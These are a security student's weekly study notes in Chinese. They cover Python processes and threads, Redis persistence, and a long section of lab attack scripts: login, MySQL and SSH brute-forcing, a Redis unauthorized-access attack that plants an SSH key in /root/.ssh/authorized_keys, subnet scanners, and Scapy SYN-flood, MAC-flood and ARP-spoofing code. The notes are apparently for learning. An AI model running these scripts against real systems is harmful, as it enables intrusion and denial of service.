2.5网安学习第二阶段第五周回顾（个人学习记录使用）

news2024/9/21 18:54:17

本周重点

①多进程和多线程

1、进程和线程

2、多线程爆破

②Redis数据库

1、Redis的使用

2、Redis持久化

3、Redis未授权免密登录

③嗅探和Python攻击脚本

1、嗅探（端口扫描和IP扫描）

2、SCAPY的应用

3、Python攻击脚本（SYN半连接，MAC泛洪，APR欺骗）

本周主要内容

DAY1 多进程和多线程

①进程

1、进程的定义

狭义：进程是正在运行的程序的实例（fork(), Process）；

广义：进程是一个具有一定独立功能的程序关于某个数据集合的一次运行活动。它是操作系统动态执行的基本单元，在传统的操作系统中，进程既是基本的分配单元，也是基本的执行单元(pstree)。

2、进程状态

img

3、进程创建

方法1

import time
from multiprocessing import Process
def doJob():
    print("开始工作")
    time.sleep(1)
    print("结束工作")
if __name__ == '__main__':
    print("老板安排工作")
    p = Process(target=doJob)
    p.start()
    print("老板安排完了")

数据共享

from multiprocessing import Process
count = 0
def add():
     global count
     count = count + 1
     print(f"{count}")
if __name__ == '__main__':
    p = Process(target=add)
    p.start()
    count = count + 1
    print(f"{count}")

image-20240219101008971

进程之间的通信可以考虑用文件；

方法2

import time
from multiprocessing import Process
def doJob():
    print("开始工作：")
    time.sleep(3)
    print("结束工作：")
class Boss(Process):
    def run(self):
        doJob()
        doJob()
        doJob()
    def maRen(self):
        print("wcnm")
    def terminate(self):
        print("aaaa")
if __name__ == '__main__':
    print("老板安排任务")
    b = Boss()
    b.start()
    print("老板安排结束")

如何传参

from multiprocessing import Process
def addOne(value):
    print(value+value)
def add(x, y):
    print(x+y)
if __name__ == '__main__':
    #Process(target=addOne, args=(2,)).start()
    Process(target=addOne, kwargs={"value": 2}).start()
    Process(target=add, kwargs={"x":2, "y":3}).start()
4、多进程爆破

一般不推荐进程爆破，因为比较重，可以考虑用线程；

登录，F12查看登录实际请求的地址；

4种登录的方式：

1. 表单：requests.post(url='', data='')
2. json：requests.post(url='', json='')
3. url：requests.post(url='', url='')
4. 文件提交：requests.post(url='', file=open())

步骤：

  1. 需要发请求给”网站“（数据从文件读出来的）；

    data={"username":user, "password": passwd}
requests.post(url='xxxx', json=data)

  2. 查看用户名和密码是否正确；

代码：

import requests
from multiprocessing import Process
def burp(user_lst):
    with open('./mima.txt', mode='r', encoding='UTF-8') as f:
        pass_lst = f.readlines()
    for username in user_lst:
        for passwd in pass_lst:
            passwd = passwd.strip()
            data={"username":username, "password": passwd}
            response = requests.post(url='http://cd.woniulab.com:8900/stage-api/login', json=data)
            if response.json()['code'] == 200:
                print(f"用户名{username}和密码：{passwd}正确")
            else:
                print(f"用户名{username}和密码：{passwd}错误")
if __name__ == '__main__':
    with open('./username-top500.txt', mode='r', encoding='UTF-8') as f:
        users = f.readlines()
    step = 1
    for index in range(0, len(users), step):
        user_lst = users[index:index+step]
        Process(target=burp, args=(user_lst,)).start()
5、JOIN的使用

试验-1

from multiprocessing import Process
import time
def savingMoney(amount):
    #1、读取账户余额
    with open("bank.txt", mode='r', encoding='utf-8') as f:
        money = f.read()
        time.sleep(2)
    #2、累加写入
    with open("bank.txt", mode='w', encoding='utf-8') as f:
        f.write(f"{int(money) + amount}")
def drawMoney(amount):
    # 1、读取账户余额
    with open("bank.txt", mode='r', encoding='utf-8') as f:
        money = f.read()
    # 2、累加写入
    with open("bank.txt", mode='w', encoding='utf-8') as f:
        f.write(f"{int(money) - amount}")
if __name__ == '__main__':
    p1 = Process(target=savingMoney, args=(1000,))
    p1.start()
    p1.join()
    p2 = Process(target=drawMoney, args=(800,))
    p2.start()

image-20240219151859431

试验-2

from multiprocessing import Process
import time
def doSth(secs):
    time.sleep(secs)
if __name__ == '__main__':
    start = time.time()
    #代码
    p1 = Process(target=doSth,args=(1,))
    p2 = Process(target=doSth, args=(2,))
    p3 = Process(target=doSth, args=(3,))
    p1.start()
    p2.start()
    p3.start()
    p1.join()
    p2.join()
    p3.join()
    end = time.time()
    print(f"{end - start}")

image-20240219153030054

试验-3

from multiprocessing import Process
import time
def doSth(secs):
    time.sleep(secs)
if __name__ == '__main__':
    start = time.time()
    #代码
    p1 = Process(target=doSth,args=(1,))
    p2 = Process(target=doSth, args=(2,))
    p3 = Process(target=doSth, args=(3,))
    p1.start()
    p1.join()
    p2.start()
    p2.join()
    p3.start()
    p3.join()
    p3.join()
    end = time.time()
    print(f"{end - start}")

image-20240219153600582

注意：Join的一般用法不会是顺序执行，可以参照试验-2（大数据框架中的一个概念，map-reduce）。

②线程

1、线程的意义

比进程”轻“，具体怎么”轻“后面看。

轻：占的内存比较少。

2、创建线程

方式1

import time
from threading import Thread
def doJob():
    print("开始工作\n")
    time.sleep(1)
    print("结束工作\n")
if __name__ == '__main__':
    print("老板分配任务\n")
    t1 = Thread(target=doJob)
    t1.start()
    print("老板分配完了")

数据共享

import time
from threading import Thread
count = 0
def add():
     global count
     count = count + 1
     print(f"add的结果：{count}")
if __name__ == '__main__':
    p = Thread(target=add)
    p.start()
    count = count + 1
    print(f"main的结果：{count}")

count的最终结果是：2。

import time
from threading import Thread
#count = 0
def add():
     #global count
     count = 0
     count = count + 1
     print(f"add的结果：{count}")
if __name__ == '__main__':
    p1 = Thread(target=add)
    p1.start()
    p2 = Thread(target=add)
    p2.start()
    #count = count + 1
    #print(f"main的结果：{count}")

count的最终结果是：1。

方式2

from threading import Thread
import time
def doJob(name):
    print(f"{name}:开始执行")
    time.sleep(1)
    print(f"{name}:执行完了")
class Boss(Thread):
    def __init__(self, name):
        super().__init__()
        self.thread_name = name
    def run(self):
        doJob(self.thread_name)
if __name__ == '__main__':
    t1 = Boss("线程1")
    t1.start()
    t2 = Boss("线程2")
    t2.start()

线程和进程的区别：线程是共享堆区数据，但是不共享栈区数据；进程是都不共享。

3、GIL全局解释器锁（拓展）
import time
from threading import Thread
count = 0
def add():
    global count
    for i in range(1000):
        count += 1
if __name__ == '__main__':
    allThread = []
    for i in range(10000):
        t = Thread(target=add)
        allThread.append(t)
    for thread in allThread:
        thread.start()
    for thread in allThread:
        thread.join()
    print(f"最后的count是：{count}")

GIL锁失效的情况：

1. 执行IO操作；
2. 执行时间过长；

GIL失效试验

import time
from threading import Thread
count = 0
def add():
    global count
    for i in range(1000000):
        count += 1
if __name__ == '__main__':
    allThread = []
    for i in range(10):
        t = Thread(target=add)
        allThread.append(t)
    for thread in allThread:
        thread.start()
    for thread in allThread:
        thread.join()
    print(f"最后的count是：{count}")

GIL锁只会利用一个内核。

计算密集型

大量的计算，不太占用IO。

import time
from threading import Thread
from multiprocessing import Process
count = 0
def add():
    global count
    for i in range(10000000):
        count += 1
if __name__ == '__main__':
    start = time.time()
    allThread = []
    for i in range(10):
        t = Thread(target=add)
        allThread.append(t)
    for thread in allThread:
        thread.start()
    for thread in allThread:
        thread.join()
    end = time.time()
    # 进程：并发测试时间：4.198992013931274's
    # 线程：并发测试时间：9.207940101623535's
    print(f"并发测试时间：{end-start}'s")
    #print(f"最后的count是：{count}")

对比：线程执行的比进程慢；

原因：线程需要加gil锁

正确性：

  1. 进程没有所谓的正确性，因为堆区的数据不共享；

  2. 线程有可能正确，也有可能错误（GIL锁失效的时候错误）。

IO密集型

在IO密集型的系统里面，使用线程是有意义的。

import time
from threading import Thread
from multiprocessing import Process
count = 0
def add():
    global count
    for i in range(1000):
        time.sleep(0.01)
        count += 1
if __name__ == '__main__':
    start = time.time()
    allThread = []
    for i in range(10):
        t = Process(target=add)
        allThread.append(t)
    for thread in allThread:
        thread.start()
    for thread in allThread:
        thread.join()
    end = time.time()
    # 进程：并发测试时间：15.886976718902588's
    # 线程：并发测试时间：15.444493055343628's
    print(f"并发测试时间：{end-start}'s")
    print(f"最后的count是：{count}")

归纳

进程和线程如何选择：

IO密集型可以考虑多线程；
计算密集型可以考虑多进程。

DAY2 Redis（接第二周Mysql部分）

①Redis是什么

是数据库，结构是：key-value。

Redis很快：

  1. 数据结构（逻辑）：key-value的形式（查找的时间复杂度是O(1）~O(log(n))）

  2. 数据存储位置（硬件）：存储在内存的；

适合放到redis里面的内容：

经常查询而且变化比较少的数据适合放在redis（比如说商品信息，相关的配置信息）

比如说比较小的，点赞数，排行榜；

②Redis的使用

1、安装

进入：/usr/local

下载wget（如果没有的话）：yum -y install wget

下载redis：wget http://download.redis.io/releases/redis-5.0.4.tar.gz

解压：tar -zxvf redis-5.0.4.tar.gz

进入：redis-5.0.4/src安装编译工具(gcc)：yum -y install gcc gcc-c++ make

编译：make install

查看编译好的内容：redis-server

启动redis：./redis-server

image-20240220101517010

windows安装redis：（自己搜索），仅当作客户端来用，不用当服务器；

window进入CMD：进入到windows下redis的安装目录，执行redis-cli.ext -h 你的ip地址 -p 6379

6379是redis默认的端口号；

2、Redis配置文件

redis的相关配置都在redis.conf里面：

bind 0.0.0.0 #要么注释掉，要么改成0.0.0.0，默认是127.0.0.1
protected-mode no #no代表的不是保护模式，意味着，不用密码远程机器也可以进行登录
port 6379 #代表端口号，可以自己修改（安全）
daemonize yes #yes代表后台启动，no代表不能后台启动
pidfile #默认进程号
database 16#数据库的数量
dbfilename dump.rdb #持久化db的文件（一会说）
dir ./ #dump.rdb持久化目录
requirepass 123456 #代表需要密码登录，我这里的密码设置的是123456
3、常用的命令

Redis的所有的数据都是key-value形式的。

cmd登录

Redis-cli -h 192.168.10.132 -p 6379 -a 123456

String

普通字符串的基本操作

set name kkkget nameexists namedel name

批量设置：

mset key1 value1 key2 value2
mget key1 key2

对数字类型的字符可以进行操作：

INCR age

过期时间

EXPIRE name 60 #设置过期时间TTL name #查看过期时间

List

List表示的是key-value中的value是List类型

LPUSH key value1 value2 ...
RPUSH key value1 value2 ...
LPOP key value1 value2 ... #会拿到最左边的值并且删除
RPOP key value1 value2 ...
LRANGE key start stop #取某个返回

Hash

HSET key field value

HMSET stu:1 name Yangkm age 15 score 80
HMSET stu:2 name ZJQ age 15 score 90
HGETALL stu:1
HGET stu:1 name

其他

Set、ZSet、Stream(用的不多)、GEO、HyperLOG、BitMap

③Redis持久化

1、RDB

保存

Redis中的数据保存到磁盘里面

image-20240220141851002

读取

恢复数据，保存的文件是RDB文件，是一个经过压缩的二进制文件，可以通过该文件还原redis中的数据

image-20240220141935862

创建RDB文件

手动

save：阻塞的；bgsave：非阻塞的。

自动

save 900 1 save 300 10save 60 10000

以下3个条件只要满足一个，就执行bgsave的命：

  1. 服务器在900s（15分钟）之内，对(redis)数据库进行了至少1次修改；

  2. 服务器在300s（5分钟）之内，对(redis)数据库进行了至少10次修改；

  3. 服务器在60s（1分钟）之内，对(redis)数据库进行了至少1万次修改；

image-20240220143133864

读取rdb文件

如果没有开启AOF，默认就会读取RDB的文件（恢复数据）。

如果开启了AOF，就会读取AOF的。

BGSAVE解释

执行bgsave的时候，会fork()创建子进程，创建进程而不是线程的原因是防止数据发生冲突。

image-20240220144213979

当数据发生改变的时候，会使用写时拷贝技术（copy-on-write）

image-20240220144253639

2、AOF

AOF也时持久化的技术。

保存

只有redis写成功了，才会把redis的数据写入到aof文件。

image-20240220151815706

读取

image-20240220151825753

开启AOF

image-20240220152749105

image-20240220152655140

AOF持久化的实现

appendfsync有3个选项：

appendfsync always #丢失的数据最少，但时效率最低
appendfsync everysec #一般采用everysec，性能和no差不多;
appendfsync no

优缺点

优点：

避免额外的开销，因为错误的命令是不会被记录进去的；
不会阻塞当前操作的；

缺点：

有可能会丢失数据；可能会阻塞【下一条】命令；

加载AOF文件

Redis启动—-> 创建伪客户端 —> 从AOF中逐条的读取命令 —-> 查看是否执行完毕 —->完了

AOF重写

image-20240220154357139

image-20240220154414512

手动重写

注意：

#下面如果是yes，要改成noaof-use-rdb-preamble no
bgrewriteaof

自动重写

image-20240220154939240

自动重写的条件两个满足其中之一：

  1. aof的文件大于64MB；

  2. 从上次重写之后，这次的文件比之前大了一倍；

RDB和AOF

RDB相较AOF更容易丢失数据；

AOF相较RDB恢复数据的时间更长；

结合AOF和RDB的优点：

aof-use-rdb-preamble yes

重写AOF会把AOF的文件变成RDB格式（快照+二进制+数据+压缩）

④Redis未授权登录

通过Redis登录到对方的Linux系统里面；

  1. （做爆破之前：扫描所有的IP下所有的端口）爆破；

  2. 利用Redis进行免密登录到对方的服务器。

利用SSH

和之前说的HTTPS类似，底层也是用的非对称加密，参考：

什么是SSH？SSH是如何工作的？ - 华为

1、免密登录方法

  1. 客户端生成密钥对（公钥、私钥）；

  2. 客户端把公钥发给服务端；

  3. 客户端用私钥加密消息，服务端用公钥解密消息；

  4. 公钥私钥能够匹配，就不需要输入密码；

  5. 客户端免密登录成功；

2、免密登录过程

2.1攻击机生成ssh密钥对（准备）

C:\Users\86156>ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (C:\Users\86156/.ssh/id_rsa):按回车
Enter passphrase (empty for no passphrase):按回车
Enter same passphrase again:按回车
Your identification has been saved in C:\Users\86156/.ssh/id_rsa
Your public key has been saved in C:\Users\86156/.ssh/id_rsa.pub
The key fingerprint is:
The key's randomart image is:
+---[RSA 3072]----+
| o+=.+oB+ ..     |
|o . +.Boo...     |
| o . ..Bo=o     .|
|    . =.O+o. . o |
|     . =So .E o  |
|        . o  o   |
|         o o     |
|          =.o    |
|         ..*+    |
+----[SHA256]-----+

私钥：C:\Users\86156.ssh\id_rsa

公钥：C:\Users\86156.ssh\id_rsa.pub

2.2靶机安装好Redis（准备）

已经安装好了。

2.3靶机的Redis的同步方式用RDB（准备）

去掉AOF

2.4靶机生成ssh（准备）

让靶机支持ssh。

在用户家目录下：

ssh-keygen

生成之后，会在用户的家目录下生成一个.ssh的文件夹，进入这个目录：

cd .sshlsid_rsaid_rsa.pub

2.5攻击机连接Redis

redis-cli.exe -h 192.168.100.181 -p 6379 -a 123456

2.6攻击机向靶机注入公钥

set mykey "\n\n公钥\n\n\n"

修改rdb文件的存储路径：

config set dir /root/.ssh

修改文件名称(原来的rdb文件名是:dump.rdb)：

config set dbfilename authorized_keys

保存：

save

然后再攻击机的/root/.ssh/目录下就可以看到authorized_keys，打开该文件，会记录你攻击机的公钥。

2.7攻击机进行免密登录

C:\Users\86156\.ssh>ssh -i id_rsa root@192.168.100.181

⑤MYSQL补充

1、Linux的MYSQL安装（之前是在dock安装）
wget https://dev.mysql.com/get/mysql57-community-release-el7-9.noarch.rpm
rpm -ivh mysql57-community-release-el7-9.noarch.rpm

修改版本

进入到：/etc/yum.repos.d/

vi mysql-community.repo

image-20240220174549910

yum下载mysql-server

yum -y install mysql-server

启动mysql服务

systemctl start mysqld

进入mysql

mysql -uroot -p

注意：5.6默认是不需要密码的。

设置密码

set password for root@localhost=password('123456');

5.7默认是不允许弱口令，5.6就没有这个问题；

外网访问权限设置

mysql> grant all privileges on *.* to root@'%' identified by '123456';mysql> flush privileges;

这样就可以通过navicat进行连接了。（之前mysql用过的软件）

DAY3 嗅探和Pytho攻击脚本

①爆破补充

1、MYSQL
import pymysql
with open("./mima.txt", mode="r", encoding="utf-8") as f:
    pass_list = f.readlines()
    for item in pass_list:
        try:
            item = item.strip()
            pymysql.connect(host='192.168.100.181', user='root', password=item, port=3306)
            print(f"登录成功，密码是{item}")
           # break
        except:
            continue
            print(f"密码：{item}是错的")
2、SSH
import paramiko
with open("./mima.txt", mode="r", encoding="utf-8") as f:
    pass_list = f.readlines()
    for item in pass_list:
        try:
            item = item.strip()
            trans = paramiko.Transport(('192.168.100.181', 22))
            trans.connect(username='root', password=item)
            print(f"登录成功，密码是{item}")
            break
        except:
            print(f"密码：{item}是错的")
3、Redis
import redis
import paramiko
from paramiko.client import AutoAddPolicy
#根据ip爆破redis的密码
def burp_redis(ip):
    with open("./mima.txt", mode="r", encoding="utf-8") as f:
        pass_list = f.readlines()
        for item in pass_list:
            try:
                item = item.strip()
                rds = redis.Redis(host=ip, password=item)
                result = rds.keys("*") #相当于是 "keys *"
                print(f"登录成功，密码是{item}")
                #成功之后要往靶机上注入公钥
                inject_pub(ip, rds)
            # break
            except:
                continue
                #这一行代码不会执行
                print(f"密码：{item}是错的")
def inject_pub(ip, rds):
    public_key = "./pubkey.txt"
    with open(public_key , mode="r", encoding="utf-8") as f:
        rds.set('ykm', f.read())
        rds.config_set('dir', '/root/.ssh')
        rds.config_set('dbfilename', 'authorized_keys')
        rds.save()
        ssh_login(ip)
def ssh_login(ip):
    private_key = "C:/Users/86156/.ssh/id_rsa"
    privatekey = paramiko.RSAKey.from_private_key_file(filename=private_key)
    ssh = paramiko.SSHClient()
    #登录的策略，按照固定的写法就可以了
    ssh.set_missing_host_key_policy(AutoAddPolicy)
    ssh.connect(hostname=ip, username='root', pkey=privatekey)
    stdin, stdout, stderr = ssh.exec_command('ls')
    print(stdout.read().decode())
#尝试多线程
if __name__ == '__main__':
    ip = "192.168.100."
    burp_redis(ip)
    for i in range(1,254):
        burp_redis(f"{ip}{i}")

②嗅探

1、IP扫描
def scan_ip(ip, start, end):
    for suffix in range(start,end):
        whole_IP = f"{ip}{suffix}"
        result = os.popen(f"ping -n 1 -w 100 {whole_IP}").read()
        if "TTL" in result:
            print(f"{whole_IP}可达")
if __name__ == '__main__':
    ip = '192.168.100.'
    #线程数调优
    step = 80
    for i in range(0,255,step):
        Thread(target=scan_ip, args=(ip, i, i+step)).start()
2、端口扫描
import socket
from threading import Thread
def scan_ip_port(ip, start, end):
    for port in range(start, end):
        try:
            sk = socket.socket()
            sk.connect((ip, port))
            print(f"{ip}地址存在端口号：{port}")
        except:
            continue
if __name__ == '__main__':
    ip = "192.168.100.181"
    step = 100
    for i in range(1, 65535, step):
        Thread(target=scan_ip_port, args = (ip, i, i+step)).start()

③SCAPY

是python开发的第三方的模块，做到wireshark可以做的事情；

安装：pip install scapy

show_interfaces()：查看网卡信息；

可以模拟wireshark”操作”某个网卡；

1、Sniff(流量嗅探)

sniff()是一个类，实例化。

初始化（构造函数）有：

1. iface：对应的网卡的名字，你要嗅探哪个网卡
2. count: 捕获多少个数据包
3. filter：过滤规则，类似wireshark的

构造：

pkg = sniff(iface="Intel(R) 82579LM Gigabit Network Connection", count=4, filter="icmp")
pkg.show()
type(pkg)
pkg[0][ICMP]
pkg[0][IP].src

持久化（写入硬盘） wrpcap(“E:/myicmp.cap”, pkg)

2、IPv4协议

IP().show()

###[ IP ]###
  version   = 4
  ihl       = None
  tos       = 0x0
  len       = None
  id        = 1
  flags     =
  frag      = 0
  ttl       = 64
  proto     = ip
  chksum    = None
  src       = 127.0.0.1
  dst       = 127.0.0.1
  \options   \
3、ICMP协议

ICMP().show()

type      = echo-request
  code      = 0
  chksum    = None
  id        = 0x0
  seq       = 0x0
  unused    = ''

发送ICMP报文：

msg = IP(dst="192.168.100.181")/ICMP()
send(msg) #抓包可以看到报文
#带内容
msg = IP(dst="192.168.100.181")/ICMP()/"AAAAA"
#带个数
send(msg, count=4, inter=1)
4、ARP协议

ARP().show()

发送ARP报文：

msg=ARP(pdst="192.168.100.181")
res = sr1(msg)
Begin emission:
Finished sending 1 packets.
.*
Received 2 packets, got 1 answers, remaining 0 packets
>>> res.show()
#返回的内容，注意：arp的目的不是把信息发送到某个ip，而是为了找某个ip的mac地址；
###[ ARP ]### 
  hwtype    = Ethernet (10Mb)
  ptype     = IPv4
  hwlen     = 6
  plen      = 4
  op        = is-at
  hwsrc     = 00:0c:29:e7:c4:bf
  psrc      = 192.168.100.181
  hwdst     = 00:50:56:c0:00:08
  pdst      = 192.168.100.1
###[ Padding ]###
     load      = '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
5、TCP协议

TCP().show()

TCP发送：

>>> msg = IP(dst="192.168.100.181")/TCP(dport=3306)
>>> res=send(msg)
>>> res.show() #会报错，因为res没有接收不了任何值
###[ TCP ]###
     sport     = ftp_data
     dport     = 3306
     seq       = 0
     ack       = 0
     dataofs   = None
     reserved  = 0
     flags     = S   # S代表的是请求SYN，SA代表的是SYN+ACK, A代表的是ACK
     window    = 8192
     chksum    = None
     urgptr    = 0
     options   = ''
>>> res=sr1(msg) #sr1是又发又收
>>> res.show()
###[ IP ]###
  version   = 4
  ihl       = 5
  tos       = 0x0
  len       = 44
  id        = 0
  flags     = DF
  frag      = 0
  ttl       = 64
  proto     = tcp
  chksum    = 0xf0c4
  src       = 192.168.100.181
  dst       = 192.168.100.1
  \options   \
###[ TCP ]###
     sport     = 3306
     dport     = ftp_data
     seq       = 1237108830
     ack       = 1
     dataofs   = 6
     reserved  = 0
     flags     = SA
     window    = 29200
     chksum    = 0xbce4
     urgptr    = 0
     options   = [('MSS', 1460)]
###[ Padding ]###
        load      = '\x00\x00'
6、Ether(数据链路层)协议

Ether().show()

④Python攻击脚本

1、Python实现SYN半连接攻击
import random
import scapy
from threading import Thread
from scapy.layers.inet import IP, TCP
from scapy.sendrecv import send
from scapy.volatile import RandIP
def send_syn(ip):
    srcIP = RandIP()
    srcPort = random.randint(1,60000)
    msg = IP(dst=ip, src=srcIP)/TCP(flags="S", sport=srcPort, dport=3306, seq=10010)
    send(msg)
if __name__ == '__main__':
    for i in range(100000):
        Thread(target=send_syn, args=("192.168.100.181",)).start()

查看半连接：

 netstat -anpt|grep SYN_RECV|wc -l
2、Python实现ARP发送
from scapy.layers.l2 import ARP
from scapy.sendrecv import sr1
from threading import Thread
def scan_ip(ip):
    pkg = ARP(pdst=ip)
    result = sr1(pkg, timeout=1, verbose=False)
    try:
        print(f"{result[ARP].psrc}的mac地址是{result[ARP].hwsrc}")
    except:
        pass
if __name__== '__main__':
    ip1 = '192.168.200.'
    ip2 = '192.168.201.'
    for i in range(255):
        ip = ip1 + str(i)
        Thread(target=scan_ip, args=(ip,)).start()
    for i in range(255):
        ip = ip2 + str(i)
        Thread(target=scan_ip, args=(ip,)).start()
3、Python现实MAC泛洪攻击

发Ether()

from scapy.layers.inet import IP
from scapy.layers.l2 import Ether
from scapy.sendrecv import sr1,sendp
from scapy.volatile import RandMAC, RandIP
from threading import Thread
def flood_mac():
    while True:
        srcMac = RandMAC()
        dstMac = RandMAC()
        srcIP = RandIP()
        dstIP = RandIP()
        pkg = Ether(dst=dstMac, src=srcMac)/IP(src=srcIP, dst=dstIP)
        sendp(pkg, iface="VMware Virtual Ethernet Adapter for VMnet8")
if __name__ == '__main__':
    for i in range(1000):
        Thread(target=flood_mac).start()
4、Python实现ARP欺骗

靶机：win10。

攻击机：kali。

gateway：vment8的网关。

攻击机告诉靶机我是网关；

攻击机告诉网关我是靶机。

from scapy.layers.l2 import ARP, Ether, getmacbyip
from scapy.sendrecv import sendp
​
​
def spoof_both_directions():
    win10_ip = "192.168.10.129"
    win10_mac = getmacbyip(win10_ip)
​
    kali_ip = "192.168.10.128"
    kali_mac = getmacbyip(kali_ip)
​
    gateway_ip = "192.168.10.2"
    gateway_mac = getmacbyip(gateway_ip)
​
    # 发送ARP响应，将网关的IP地址映射到Kali的MAC地址
    pkg1 = Ether(src=kali_mac, dst=gateway_mac) / ARP(op=2, psrc=win10_ip, pdst=gateway_ip, hwsrc=kali_mac,
                                                      hwdst=gateway_mac)
    # 发送ARP响应，将Kali的IP地址映射到网关的MAC地址
    pkg2 = Ether(dst=win10_mac, src=kali_mac)/ARP(op=2, psrc=gateway_ip, hwsrc=kali_mac, pdst=win10_ip, hwdst=win10_mac)
​
    # 同时发送两个ARP包
    sendp(pkg1, verbose=False, iface="VMware Virtual Ethernet Adapter for VMnet8")
    sendp(pkg2, verbose=False, iface="VMware Virtual Ethernet Adapter for VMnet8")
​
​
if __name__ == '__main__':
    while True:
        spoof_both_directions()  # 循环发送双向ARP欺骗包
​

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.coloradmin.cn/o/1464632.html

如若内容造成侵权/违法违规/事实不符，请联系多彩编程网进行投诉反馈，一经查实，立即删除！

相关文章

Day20_网络编程(软件结构,网络编程三要素,UDP网络编程,TCP网络编程)

Day20_网络编程(软件结构,网络编程三要素,UDP网络编程,TCP网络编程)

文章目录 Day20 网络编程学习目标1 软件结构2 网络编程三要素2.1 IP地址和域名1、IP地址2、域名3、InetAddress类 2.2 端口号2.3 网络通信协议1、OSI参考模型和TCP/IP参考模型2、UDP协议3、TCP协议 2.4 Socket编程 3 UDP网络编程3.1 DatagramSocket和DatagramPacket1、Datagram…
阅读更多...
测试公众号开发，链接访问问题

测试公众号开发，链接访问问题

1.管道未打开，需要打开natapp代理，联系相关后端 2.在确保nginx代理配置路径无问题后，就是前端指向问题，联系相关前端 3.nginx代理配置路径不正确，打开页面是白板，看控制台报错，是否是静态资源…
阅读更多...
我们在SqlSugar开发框架中，用到的一些设计模式

我们在SqlSugar开发框架中，用到的一些设计模式

我们在《SqlSugar开发框架》中，有时候都会根据一些需要引入一些设计模式，主要的目的是为了解决问题提供便利和代码重用等目的。而不是为用而用，我们的目的是解决问题，并在一定的场景下以水到渠成的方式处理。不过引入任何的设计模…
阅读更多...
【Linux取经路】文件系统之缓冲区

【Linux取经路】文件系统之缓冲区

文章目录 一、先看现象二、用户缓冲区的引入三、用户缓冲区的刷新策略四、为什么要有用户缓冲区五、现象解释六、结语 一、先看现象 #include <stdio.h> #include <string.h> #include <unistd.h>int main() {const char* fstr "Hello fwrite\n"…
阅读更多...
谷歌seo推广的费用是多少？

谷歌seo推广的费用是多少？

真正的开销取决于个人或企业的具体需求、目标及资源投入水平&#xff0c;如果你选择自己优化&#xff0c;成本主要体现为时间和努力——你需要花时间学习SEO的最佳实践并应用它们来优化你的网站。这种方式就几乎不需要花钱&#xff0c;但需要大量的学习和实践时间 而选择SEO专家…
阅读更多...
Unity接入SQLite (一):SQLite介绍

Unity接入SQLite (一):SQLite介绍

1.简介 SQLite是一个开源的嵌入式关系数据库管理系统。它是一种轻量级的数据库引擎&#xff0c;不需要单独的服务器进程&#xff0c;可以直接嵌入到应用程序中使用。Sqlite使用简单、高效&#xff0c;并且具有对标准SQL的完整支持。它适用于需要在本地存储和访问数据的应用程序…
阅读更多...
Shell好用的工具： cut

Shell好用的工具： cut

目标 使用cut可以切割提取指定列\字符\字节的数据 介绍 cut 译为“剪切, 切割” , 是一个强大文本处理工具&#xff0c;它可以将文本按列进行划分的文本处理。cut命令逐行读入文本&#xff0c;然后按列划分字段并进行提取、输出等操作。 语法 cut [options] filename opti…
阅读更多...
opencv图像的本质

opencv图像的本质

目的 OpenCV是一个跨平台的库&#xff0c;使用它我们可以开发实时的计算机视觉应用程序。 它主要集中在图像处理&#xff0c;视频采集和分析&#xff0c;包括人脸检测和物体检测等功能。 数字图像在计算机中是以矩阵形式存储的&#xff0c;矩阵中的每一个元素都描述一定的图像…
阅读更多...
Ansible安装管理和模块的使用

Ansible安装管理和模块的使用

目录 Ansible是什么 ansible 环境安装部署 管理端安装 ansible ansible 目录结构 配置主机清单 配置密钥对验证 ansible 命令行模块 1&#xff0e;command 模块 在远程主机执行命令&#xff0c;不支持管道&#xff0c;重定向等shell的特性 常用的参数 2&#xff0e;sh…
阅读更多...
C# Onnx 使用onnxruntime部署实时视频帧插值

C# Onnx 使用onnxruntime部署实时视频帧插值

目录 介绍 效果 模型信息 项目 代码 下载 C# Onnx 使用onnxruntime部署实时视频帧插值 介绍 github地址&#xff1a;https://github.com/google-research/frame-interpolation FILM: Frame Interpolation for Large Motion, In ECCV 2022. The official Tensorflow 2…
阅读更多...
【Linux】一站式教会：Ubuntu（无UI界面）使用apache-jmeter进行压测

【Linux】一站式教会：Ubuntu（无UI界面）使用apache-jmeter进行压测

&#x1f3e1;浩泽学编程&#xff1a;个人主页 &#x1f525; 推荐专栏&#xff1a;《深入浅出SpringBoot》《java对AI的调用开发》 《RabbitMQ》《Spring》《SpringMVC》 &#x1f6f8;学无止境&#xff0c;不骄不躁&#xff0c;知行合一 文章目录 前言一、Java…
阅读更多...
基于java+springboot+vue实现的美食信息推荐系统（文末源码+Lw）23-170

基于java+springboot+vue实现的美食信息推荐系统（文末源码+Lw）23-170

1 摘 要 使用旧方法对美食信息推荐系统的信息进行系统化管理已经不再让人们信赖了&#xff0c;把现在的网络信息技术运用在美食信息推荐系统的管理上面可以解决许多信息管理上面的难题&#xff0c;比如处理数据时间很长&#xff0c;数据存在错误不能及时纠正等问题。这次开发…
阅读更多...
运维SRE-19 网站Web中间件服务-http-nginx

运维SRE-19 网站Web中间件服务-http-nginx

Ans自动化流程 1.网站集群核心协议&#xff1a;HTTP 1.1概述 web服务&#xff1a;网站服务&#xff0c;网站协议即可. 协议&#xff1a;http协议,https协议 服务&#xff1a;Nginx服务&#xff0c;Tengine服务....1.2 HTTP协议 http超文本传输协议&#xff0c;负责数据在网站…
阅读更多...
【思扬赠书 | 第3期】由面试题“Redis是否为单线程”引发的思考

【思扬赠书 | 第3期】由面试题“Redis是否为单线程”引发的思考

⛳️ 写在前面参与规则&#xff01;&#xff01;&#xff01; ✅参与方式&#xff1a;关注博主、点赞、收藏、评论&#xff0c;任意评论&#xff08;每人最多评论三次&#xff09; ⛳️本次送书1~4本【取决于阅读量&#xff0c;阅读量越多&#xff0c;送的越多】 很多人都遇到…
阅读更多...
Day10-面向对象-抽象类和接口

Day10-面向对象-抽象类和接口

文章目录 学习目标1. 抽象类1.1 抽象类注意事项1.2 修饰符的使用 2. 接口2.1 定义接口2.2 接口里可以定义的成员2.2 实现接口2.2.1 实现接口语法格式2.2.2 如何调用对应的方法2.2.3 练习 2.3 接口的多实现2.3.1 练习 2.4 冲突问题2.5 接口的多继承(了解)2.6 部分内置接口 学习目…
阅读更多...
2024转行要趁早！盘点网络安全的岗位汇总

2024转行要趁早！盘点网络安全的岗位汇总

